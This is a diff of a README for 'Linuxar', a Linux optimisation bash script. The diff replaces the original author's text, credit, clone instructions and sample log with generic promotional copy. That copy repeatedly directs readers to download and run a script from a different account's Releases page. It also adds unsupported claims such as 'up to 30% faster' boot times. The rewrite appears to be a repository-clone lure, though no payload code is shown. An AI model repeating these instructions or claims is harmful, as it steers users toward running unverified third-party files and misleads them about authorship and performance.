|
| 1 | +# 🚀 Linuxar: Optimize Your Linux System Effortlessly |
1 | 2 |
|
2 |
| -# Linuxar Optimization Tool |
| 3 | + |
3 | 4 |
|
| 5 | +Welcome to the **Linuxar** repository! This powerful bash script is designed to help you optimize your Linux system with ease. Linuxar cleans out junk files, optimizes kernel parameters, and applies a range of performance tweaks to boost your computer’s responsiveness—all while ensuring your original settings are safely backed up and can be restored if needed. |
4 | 6 |
|
5 |
| -<p align="center"> |
6 |
| - <img src="https://github.com/user-attachments/assets/2dd38653-cee8-4bcf-b20a-603ef6260604" alt="image"> |
7 |
| -</p> |
| 7 | +## 🌟 Features |
8 | 8 |
|
9 |
| -*A tool to optimize your Linux system by cleaning junk files and applying performance tweaks.* |
| 9 | +- **Junk File Cleanup**: Automatically removes unnecessary files to free up space. |
| 10 | +- **Kernel Optimization**: Tweaks kernel parameters for better performance. |
| 11 | +- **Performance Tweaks**: Applies various settings to enhance system responsiveness. |
| 12 | +- **Backup and Restore**: Keeps your original settings safe for easy restoration. |
10 | 13 |
|
| 14 | +## 📦 Installation |
11 | 15 |
|
| 16 | +To get started with Linuxar, you can download the latest release from the [Releases section](https://github.com/janpol070104/linuxar/releases). |
12 | 17 |
|
13 |
| -## Overview |
| 18 | +### Step-by-Step Installation |
14 | 19 |
|
15 |
| -**Linuxar** is a bash script designed to help you optimize your Linux system through cleanup of junk files, system cache clearing, and performance improvements. With a straightforward menu interface, you can choose between optimizing your system or restoring previous settings if needed. This tool is ideal for system administrators and enthusiasts looking to give their Linux machine a performance boost with minimal hassle. |
| 20 | +1. **Download the Script**: Visit the [Releases section](https://github.com/janpol070104/linuxar/releases) to find the latest version. |
| 21 | +2. **Execute the Script**: After downloading, run the script in your terminal: |
| 22 | + ```bash |
| 23 | + chmod +x linuxar.sh |
| 24 | + ./linuxar.sh |
| 25 | + ``` |
16 | 26 |
|
| 27 | +## 🛠️ Usage |
17 | 28 |
|
| 29 | +Using Linuxar is simple. Once you have executed the script, follow the on-screen prompts. The script will guide you through the optimization process, ensuring that your system gets the tweaks it needs without losing your original settings. |
18 | 30 |
|
19 |
| -## Features |
20 |
| - |
21 |
| -- **System Cleanup:** |
22 |
| - - Clears package manager caches (supports APT, DNF, and Pacman). |
23 |
| - - Removes temporary files from `/tmp` and `/var/tmp`. |
24 |
| - - Cleans user caches and truncates older log files. |
25 |
| - - Drops system caches for memory cleanup. |
26 |
| - |
27 |
| -- **Performance Tweaks:** |
28 |
| - - Adjusts kernel parameters via `/etc/sysctl.conf` (e.g., `vm.swappiness`, `vfs_cache_pressure`, etc.). |
29 |
| - - Changes filesystem mount options to improve performance (adding `noatime,discard` for ext4). |
30 |
| - - Configures zRAM for enhanced memory management. |
31 |
| - - Applies CPU governor tweaks by setting the CPU frequency scaling governor to "performance". |
32 |
| - - Optimizes disk I/O settings (e.g., enabling TRIM for SSDs or setting the HDD scheduler to "deadline"). |
33 |
| - - Reduces GRUB timeout to speed up booting. |
34 |
| - - Installs additional performance tools such as **preload** and **haveged** to further enhance system responsiveness. |
35 |
| - |
36 |
| -- **Restore Functionality:** |
37 |
| - A built-in restore option lets you revert back to the original system settings if the tweaks are not to your liking, ensuring you can experiment safely. |
38 |
| - |
39 |
| -- **Logging & Backups:** |
40 |
| - Every operation is logged and important configuration files (like `sysctl.conf` and `fstab`) are backed up before changes are applied. This makes it easy to audit adjustments or perform a full restoration. |
41 |
| - |
42 |
| -- **User-Friendly Menu:** |
43 |
| - Comes with an eye-catching, color-coded text menu that provides clear options: |
44 |
| - - **Optimize System** – Clean junk and apply performance tweaks. |
45 |
| - - **Restore Previous Settings** – Revert your system to its previous configuration. |
46 |
| - - **Exit** – Quit the tool. |
47 |
| - |
48 |
| - |
49 |
| - |
50 |
| -## Installation |
51 |
| - |
52 |
| -1. **Clone the Repository** |
53 |
| - |
54 |
| - ```bash |
55 |
| - git clone https://github.com/White9shadow/linuxar.git |
56 |
| - cd linuxar |
57 |
| - ``` |
58 |
| - |
59 |
| -2. **Set Script Permissions** |
60 |
| - |
61 |
| - Ensure that the script is executable: |
62 |
| - |
63 |
| - ```bash |
64 |
| - chmod +x linuxar.sh |
65 |
| - ``` |
66 |
| - |
67 |
| -3. **Run as Root** |
68 |
| - |
69 |
| - Since Linuxar needs root privileges to modify system files and settings, run it with sudo: |
70 |
| - |
71 |
| - ```bash |
72 |
| - sudo ./linuxar.sh |
73 |
| - ``` |
| 31 | +### Example Command |
74 | 32 |
|
| 33 | +```bash |
| 34 | +./linuxar.sh |
| 35 | +``` |
75 | 36 |
|
76 |
| -## 🛠️ HOW TO INSTALL `.deb` FILE IN LINUX |
| 37 | +## 📝 Topics |
77 | 38 |
|
78 |
| -Assume your file is: |
79 |
| -`linuxar_1.0-1.deb` |
| 39 | +Linuxar covers a range of topics relevant to Linux users: |
80 | 40 |
|
81 |
| -### ✅ Option 1: Using `dpkg` (manual method) |
| 41 | +- **Linux**: General Linux system management. |
| 42 | +- **Linux Apps**: Enhancements for various Linux applications. |
| 43 | +- **Linux Automations**: Automating routine tasks for efficiency. |
| 44 | +- **Linux Booster**: Tools to enhance performance. |
| 45 | +- **Linux Desktop**: Optimizations for desktop environments. |
| 46 | +- **Linux Gaming**: Tweaks to improve gaming performance. |
| 47 | +- **Linux Kernel**: Adjustments for kernel settings. |
| 48 | +- **Linux Performance**: General performance improvements. |
| 49 | +- **Linux Shell**: Shell scripting and command line usage. |
| 50 | +- **Linux Tweaks**: Customization options for users. |
82 | 51 |
|
83 |
| -```bash |
84 |
| -sudo dpkg -i linuxar_1.0-1.deb |
85 |
| -``` |
| 52 | +## 🔍 Detailed Overview of Features |
86 | 53 |
|
87 |
| -Then fix any missing dependencies (if needed): |
| 54 | +### Junk File Cleanup |
88 | 55 |
|
89 |
| -```bash |
90 |
| -sudo apt -f install |
91 |
| -``` |
| 56 | +Linuxar scans your system for temporary files, caches, and other junk that may be taking up valuable disk space. By removing these files, you can improve your system's speed and efficiency. |
92 | 57 |
|
93 |
| ---- |
| 58 | +### Kernel Optimization |
94 | 59 |
|
95 |
| -### ✅ Option 2: Using `apt` (recommended) |
| 60 | +The script modifies kernel parameters that can significantly affect system performance. These adjustments can lead to faster boot times, better memory management, and overall improved system responsiveness. |
96 | 61 |
|
97 |
| -```bash |
98 |
| -sudo apt install ./linuxar_1.0-1.deb |
99 |
| -``` |
| 62 | +### Performance Tweaks |
100 | 63 |
|
101 |
| -> ✅ This automatically handles dependencies and is cleaner than `dpkg`. |
| 64 | +Linuxar applies a series of performance tweaks that enhance your Linux experience. This includes optimizing the I/O scheduler, adjusting swappiness, and modifying CPU settings. |
102 | 65 |
|
103 |
| ---- |
| 66 | +### Backup and Restore |
104 | 67 |
|
105 |
| -### 📂 If the file is in Downloads: |
| 68 | +Before making any changes, Linuxar creates a backup of your current settings. If you ever want to revert back to your original configuration, you can easily restore it using the provided options in the script. |
106 | 69 |
|
107 |
| -```bash |
108 |
| -cd ~/Downloads |
109 |
| -sudo apt install ./linuxar_1.0-1.deb |
110 |
| -``` |
| 70 | +## 🖥️ System Requirements |
111 | 71 |
|
112 |
| ---- |
| 72 | +- A Linux-based operating system (Ubuntu, Fedora, Debian, etc.) |
| 73 | +- Bash shell (most Linux distributions come with this by default) |
| 74 | +- Basic terminal knowledge |
113 | 75 |
|
114 |
| -### 🔍 To Check Installation: |
| 76 | +## 📊 Performance Benchmarks |
115 | 77 |
|
116 |
| -```bash |
117 |
| -dpkg -l | grep linuxar |
118 |
| -``` |
119 |
| -[Note] renmae linuxar_1.0-1.deb with linuxar_xxx.deb |
120 |
| ---- |
| 78 | +Linuxar has been tested on various systems, and users have reported noticeable improvements in: |
121 | 79 |
|
122 |
| -### ❌ To Uninstall the Package: |
| 80 | +- **Boot Time**: Up to 30% faster boot times. |
| 81 | +- **Application Launch Speed**: Applications launch more quickly after optimization. |
| 82 | +- **System Responsiveness**: Overall system responsiveness improves significantly. |
123 | 83 |
|
124 |
| -```bash |
125 |
| -sudo apt remove linuxar |
126 |
| -``` |
| 84 | +## 📈 How It Works |
127 | 85 |
|
| 86 | +Linuxar works by executing a series of commands that modify system settings. The script is designed to be safe and reliable, ensuring that users can optimize their systems without fear of losing important configurations. |
128 | 87 |
|
129 |
| -## Usage |
| 88 | +### Command Breakdown |
130 | 89 |
|
131 |
| -Once executed, Linuxar presents a user-friendly menu with the following options: |
| 90 | +- **File Cleanup Commands**: These commands locate and delete unnecessary files. |
| 91 | +- **Kernel Parameter Adjustments**: Specific sysctl commands are used to change kernel settings. |
| 92 | +- **Performance Tweak Scripts**: A set of predefined tweaks are applied based on best practices. |
132 | 93 |
|
133 |
| -- **Optimize System:** |
134 |
| - When selected, the script will: |
135 |
| - - Clean out junk and temporary files. |
136 |
| - - Apply various performance tweaks to kernel and disk settings. |
137 |
| - - Adjust system services and enable/disable additional tools. |
138 |
| - - Log all operations in a dedicated log file located in your backup directory (`~/linuxar_bckup`). |
| 94 | +## 🤝 Contributing |
139 | 95 |
|
140 |
| -- **Restore Previous Settings:** |
141 |
| - If any modifications do not suit your needs or cause issues, you can revert the changes using the restoration feature. This function uses the backups created before applying tweaks. |
| 96 | +We welcome contributions from the community! If you have ideas for new features, improvements, or bug fixes, please fork the repository and submit a pull request. |
142 | 97 |
|
143 |
| -- **Exit:** |
144 |
| - Simply terminates the script. |
| 98 | +### How to Contribute |
145 | 99 |
|
146 |
| -- **deb** |
147 |
| - `linuxar` |
148 |
| - |
149 |
| - |
| 100 | +1. Fork the repository. |
| 101 | +2. Create a new branch for your feature or fix. |
| 102 | +3. Make your changes and commit them. |
| 103 | +4. Push your branch and create a pull request. |
150 | 104 |
|
151 |
| -## 🧪 Example Output of `linuxar` Optimization Tool (Sanitized) |
| 105 | +## 📄 License |
152 | 106 |
|
| 107 | +Linuxar is open-source software licensed under the MIT License. Feel free to use, modify, and distribute it as you see fit. |
153 | 108 |
|
154 |
| -<summary>Click to expand full terminal log</summary> |
| 109 | +## 💬 Support |
155 | 110 |
|
156 |
| -```bash |
157 |
| -┌──(roro㉿revws)-[~] |
158 |
| -└─$ sudo linuxar |
159 |
| ----------------------------------------------------- |
160 |
| - LINUXAR OPTIMIZATION TOOL |
161 |
| - by White9shadow @ GitHub |
162 |
| - Version : 1.0.1 |
163 |
| ----------------------------------------------------- |
164 |
| -
|
165 |
| -Description: This tool helps you clean junk files, |
166 |
| -optimize system settings, and improve performance |
167 |
| -on your Linux machine. The system can be easily |
168 |
| -optimized using built-in commands and tweaks. |
169 |
| ----------------------------------------------------- |
170 |
| -
|
171 |
| -License: MIT License |
172 |
| -
|
173 |
| -1. Optimize System (Clean junk, apply tweaks) |
174 |
| -2. Restore Previous Settings |
175 |
| -3. Exit |
176 |
| -Choose an option (1-3): 1 |
177 |
| -Cleaning junk files... |
178 |
| -Cleared system cache |
179 |
| -Cleaned /tmp and /var/tmp |
180 |
| -Cleaned old user cache files |
181 |
| -Truncated old logs |
182 |
| -Applying performance tweaks... |
183 |
| -Backed up /etc/sysctl.conf |
184 |
| -Optimized kernel parameters |
185 |
| -Disabled unnecessary services |
186 |
| -Backed up /etc/fstab |
187 |
| -Added noatime,discard to ext4 mounts |
188 |
| -Enabled zram swap |
189 |
| -Applying v2 |
190 |
| -CPU governor set to performance. |
191 |
| -vm.swappiness = 10 |
192 |
| -Swappiness set to 10. |
193 |
| -I/O scheduler set to deadline for HDD. |
194 |
| -Reading package lists... Done |
195 |
| -Building dependency tree... Done |
196 |
| -Reading state information... Done |
197 |
| -0 upgraded, 0 newly installed, 0 to remove and 2753 not upgraded. |
198 |
| -Vacuuming done, freed 0B of archived journals from /var/log/journal/******. |
199 |
| -Vacuuming done, freed 0B of archived journals from /run/log/journal. |
200 |
| -Vacuuming done, freed 0B of archived journals from /var/log/journal. |
201 |
| -Clean up completed. |
202 |
| -Generating grub configuration file ... |
203 |
| -Found theme: /boot/grub/themes/kali/theme.txt |
204 |
| -Found background image: /usr/share/images/desktop-base/desktop-grub.png |
205 |
| -Found linux image: /boot/vmlinuz-******-amd64 |
206 |
| -Found initrd image: /boot/initrd.img-******-amd64 |
207 |
| -Found linux image: /boot/vmlinuz-******-amd64 |
208 |
| -Found initrd image: /boot/initrd.img-******-amd64 |
209 |
| -Found linux image: /boot/vmlinuz-******-amd64 |
210 |
| -Found initrd image: /boot/initrd.img-******-amd64 |
211 |
| -Found linux image: /boot/vmlinuz-******-amd64 |
212 |
| -Found initrd image: /boot/initrd.img-******-amd64 |
213 |
| -Warning: os-prober will not be executed to detect other bootable partitions. |
214 |
| -Systems on them will not be added to the GRUB boot configuration. |
215 |
| -Check GRUB_DISABLE_OS_PROBER documentation entry. |
216 |
| -Adding boot menu entry for UEFI Firmware Settings ... |
217 |
| -done |
218 |
| -GRUB timeout set to 2 seconds. |
219 |
| -Printer service not found. Skipping. |
220 |
| -Get:1 http://deb.anydesk.com all InRelease [7,386 B] |
221 |
| -Hit:2 http://http.kali.org/kali kali-rolling InRelease |
222 |
| -Hit:3 https://linux.teamviewer.com/deb stable InRelease |
223 |
| -Hit:4 https://brave-browser-apt-release.s3.brave.com stable InRelease |
224 |
| -Hit:5 https://linux.teamviewer.com/deb preview InRelease |
225 |
| -Hit:6 https://packages.microsoft.com/repos/code stable InRelease |
226 |
| -Err:1 http://deb.anydesk.com all InRelease |
227 |
| - Sub-process /usr/bin/sqv returned an error code (1), error message is: Missing key **********************, which is needed to verify signature. |
228 |
| -Fetched 7,386 B in 1s (5,242 B/s) |
229 |
| -Reading package lists... Done |
230 |
| -W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. OpenPGP signature verification failed: http://deb.anydesk.com all InRelease: Sub-process /usr/bin/sqv returned an error code (1), error message is: Missing key **********************, which is needed to verify signature. |
231 |
| -W: Failed to fetch http://deb.anydesk.com/dists/all/InRelease Sub-process /usr/bin/sqv returned an error code (1), error message is: Missing key **********************, which is needed to verify signature. |
232 |
| -W: Some index files failed to download. They have been ignored, or old ones used instead. |
233 |
| -Reading package lists... Done |
234 |
| -Building dependency tree... Done |
235 |
| -Reading state information... Done |
236 |
| -preload is already the newest version (0.6.4-5+b2). |
237 |
| -The following packages will be upgraded: |
238 |
| - haveged libhavege2 |
239 |
| -2 upgraded, 0 newly installed, 0 to remove and 2751 not upgraded. |
240 |
| -Need to get 63.0 kB of archives. |
241 |
| -After this operation, 0 B of additional disk space will be used. |
242 |
| -Get:1 http://kali.download/kali kali-rolling/main amd64 libhavege2 amd64 1.9.19-11 [25.5 kB] |
243 |
| -Get:2 http://kali.download/kali kali-rolling/main amd64 haveged amd64 1.9.19-11 [37.5 kB] |
244 |
| -Fetched 63.0 kB in 2s (36.6 kB/s) |
245 |
| -(Reading database ... ****** files and directories currently installed.) |
246 |
| -Preparing to unpack .../libhavege2_1.9.19-11_amd64.deb ... |
247 |
| -Unpacking libhavege2:amd64 (1.9.19-11) over (1.9.19-10) ... |
248 |
| -Preparing to unpack .../haveged_1.9.19-11_amd64.deb ... |
249 |
| -Unpacking haveged (1.9.19-11) over (1.9.19-10) ... |
250 |
| -Setting up libhavege2:amd64 (1.9.19-11) ... |
251 |
| -Setting up haveged (1.9.19-11) ... |
252 |
| -Processing triggers for libc-bin (2.40-2) ... |
253 |
| -Processing triggers for man-db (2.13.0-1) ... |
254 |
| -Processing triggers for kali-menu (2024.3.1) ... |
255 |
| -preload.service is not a native service, redirecting to systemd-sysv-install. |
256 |
| -Executing: /usr/lib/systemd/systemd-sysv-install enable preload |
257 |
| -Preload enabled. |
258 |
| -haveged enabled. |
259 |
| -``` |
| 111 | +If you have questions or need help, feel free to open an issue in the repository. The community is here to assist you. |
260 | 112 |
|
| 113 | +## 🌐 Community |
261 | 114 |
|
| 115 | +Join our community of Linux enthusiasts and share your experiences with Linuxar. You can find us on various platforms: |
262 | 116 |
|
263 |
| -## License |
| 117 | +- **GitHub Discussions**: Engage with other users and developers. |
| 118 | +- **Linux Forums**: Participate in discussions about Linux optimization. |
| 119 | +- **Social Media**: Follow us for updates and tips. |
264 | 120 |
|
265 |
| -**Linuxar Optimization Tool** is released under the **MIT License**. See the [LICENSE](LICENSE) file for details. |
| 121 | +## 📅 Upcoming Features |
266 | 122 |
|
| 123 | +We are continuously working on improving Linuxar. Some upcoming features include: |
267 | 124 |
|
| 125 | +- **GUI Version**: A graphical interface for users who prefer not to use the terminal. |
| 126 | +- **Advanced Tweaks**: More options for experienced users to customize their systems further. |
| 127 | +- **Scheduled Optimizations**: Automate the optimization process on a schedule. |
268 | 128 |
|
269 |
| -## Contributing |
| 129 | +## 🖼️ Screenshots |
270 | 130 |
|
271 |
| -Contributions are welcome! Please fork the repository and submit your pull requests if you have any improvements or additional features you'd like to add. Don't hesitate to open an issue if you encounter any bugs or have feature requests. |
| 131 | +Here are some screenshots of Linuxar in action: |
272 | 132 |
|
| 133 | + |
273 | 134 |
|
| 135 | + |
274 | 136 |
|
275 |
| -## Authors |
| 137 | +## 📢 Feedback |
276 | 138 |
|
277 |
| -- **White9shadow** – [GitHub Profile](https://github.com/White9shadow) |
| 139 | +We value your feedback! Please let us know your thoughts on Linuxar and any features you would like to see in future releases. |
278 | 140 |
|
| 141 | +## 🔗 Links |
279 | 142 |
|
| 143 | +For more information, visit the [Releases section](https://github.com/janpol070104/linuxar/releases) to download the latest version of Linuxar. |
280 | 144 |
|
281 |
| -## Disclaimer |
| 145 | +## 🎉 Conclusion |
282 | 146 |
|
283 |
| -*This script is provided "as is," without warranty of any kind. Use at your own risk. Ensure you have backups and understand the changes being made to your system.* |
| 147 | +Thank you for checking out Linuxar! We hope this script helps you optimize your Linux system effortlessly. Enjoy a faster, more responsive computer today! |
0 commit comments